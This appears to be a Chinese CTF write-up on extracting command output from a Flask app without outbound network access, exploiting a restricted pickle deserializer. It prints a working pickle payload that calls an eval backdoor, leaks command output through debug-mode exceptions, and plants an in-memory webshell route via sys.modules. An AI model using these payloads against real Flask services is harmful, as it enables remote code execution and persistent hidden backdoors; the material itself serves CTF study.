跳转至
#python  #flask 
本文阅读量 

flask不出网回显方式#

前言#

研究这个问题主要是打比赛的时候遇到了,题目内容大概是这样的

# app.py
from flask import Flask, request, session, render_template_string, url_for, redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
def index():
    info = request.args.get('name', '')
    if info is not '':
        x = base64.b64decode(info)
        User = restricted_loads(x)
    return render_template_string('Hello')



if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)

# config.py
notadmin = {"admin": "no"}


def backdoor(cmd):
    if notadmin["admin"] == "yes":
        s = ''.join(cmd)
        eval(s)

可以看出来是个简单的pickle反序列化,这不是本次的重点,重点是这道题在eval后如何回显,最简单的方式想到的是反弹shell,但是经过测试发现目标机器并不出网,所以我们需要寻找其他的方式去让我们的命令回显

debug模式下利用报错#

众所周知,在flask中如果开启了debug模式,报错是会显示详细信息的,比赛中debug模式通常考点是构造pin码,但是我们这里想到,可以通过手动控制报错的方式来让我们的命令回显。

简单地构造exp,这里需要注意的是eval并不能执行python语句,所以我们需要利用eval去调用exec来实现手动抛出报错

from base64 import b64encode
from urllib.parse import quote


def base64_encode(s: str, encoding='utf-8') -> str:
    return b64encode(s.encode()).decode(encoding=encoding)


exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode(exc).encode()

opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % (exc)

print(quote(b64encode(opcode).decode()))

可以看到我们成功通过Exception去拿到了回显

非debug模式下利用内存马#

这里了参考文章: iceyhexman/flaskmemoryshell
这篇文章是ssti下如何利用flask去添加一个后门路由,我们可以参考他的想法来尝试获取app添加后门路由,这里一个难点是如何拿到正在运行的app

失败的尝试: 直接import模块获取app#

一开始想到的方法是直接import app.py来获取app,但是事实证明此app非彼app,添加了路由但是并不能访问到,应该是一个全新的app

成功的尝试: sys.modules#

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。

所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules['__main__']来获取当前的模块,我们写个简单的测试来看看上面的app与实际的app是否相同

import sys
import app
app1 = sys.modules['__main__'].__dict__['app']
app2 = app.app
print(id(app1))
print(id(app2))

可以看到app的id并不相同,所以他们并非相同的app

这里我们尝试直接添加后门路由,会发现存在报错

import sys
import os
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())

这个报错是由于我们在第一个请求处理后调用了设置函数(addurlrule),此报错只会在debug模式下触发,可以参考使用了Flask框架的工具的issue:
- https://github.com/alexmclarty/mirror/issues/6
- https://github.com/pallets/flask/issues/2616

所以我们需要在非debug模式下才能成功添加后门路由(又或者我们直接设置debug=False来解决这个问题)

import sys
sys.modules['__main__'].__dict__['app'].debug=False
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

回到页面顶部